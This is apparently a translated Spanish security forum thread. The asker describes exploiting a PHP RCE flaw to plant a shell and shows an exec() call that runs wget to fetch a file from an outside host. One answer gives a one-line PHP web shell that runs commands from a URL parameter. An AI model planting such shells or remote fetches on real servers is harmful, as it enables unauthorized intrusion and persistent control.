RCE en un script PHP que no tiene permisos de escritura

1

Así que encontré una vulnerabilidad de RCE en un script PHP (está en un archivo llamado viewfile.php ). Básicamente, desde este archivo puedo ejecutar cualquier código PHP que desee, por ejemplo, <?php echo phpinfo(); ?> muestra phpinfo, y <?php echo "Test"; ?> también funciona.

Quería ver si podía cargar un shell desde esta vulnerabilidad de RCE, así que primero decidí realizar una prueba para asegurarme de que podía cargar archivos. Esto es lo que intenté:

<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>

y

<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>

Los dos ejemplos anteriores crearon un archivo test.txt , pero ambos archivos estaban vacíos, lo que significa que si intentara esto con un shell, no funcionaría (también sería un archivo vacío). ¿Esto significa que se puede suponer que el directorio en el que he estado intentando cargar archivos no tiene permisos de escritura? Si no tuviera permisos de escritura, ¿es este el comportamiento que uno esperaría? (archivo creado pero nada escrito)

    
pregunta BotHam 08.07.2016 - 23:16
fuente

2 respuestas

1

Dependiendo de la configuración del servidor web, es posible que no pueda obtener una shell regular e interactiva. Dicho esto, ya puedes ejecutar comandos php arbitrarios. Entonces, ¿por qué no subes un archivo que contiene:

<?php echo shell_exec($_GET['cmd']);?>

Luego puedes pasar fácilmente los comandos que quieras:

http://example.com/viewfile.php?file=myupload.php&cmd=ifconfig
    
respondido por el staples 07.11.2016 - 01:33
fuente
0

Una forma de evitar esto sería escribir el archivo que desea directamente desde PHP en lugar de invocar un shell y un binario (que puede que ni siquiera esté instalado en este servidor, o algo así, tal vez un firewall esté impidiendo que wget funcione ).

Además, no estoy seguro de cómo un archivo PHP podría tener permisos de escritura. Por lo general, los permisos se aplican al directorio en el que desea descargar el archivo y utilizan el usuario y el grupo del proceso para determinar si está permitido escribir allí. Para los binarios que se ejecutan directamente, podría ser que los atributos suid / sgid estén configurados en ese archivo para anular al usuario / grupo de la persona que llama con el del atributo, pero dichos atributos no tienen efecto en los archivos PHP.

    
respondido por el André Borie 08.07.2016 - 23:24
fuente

Lea otras preguntas en las etiquetas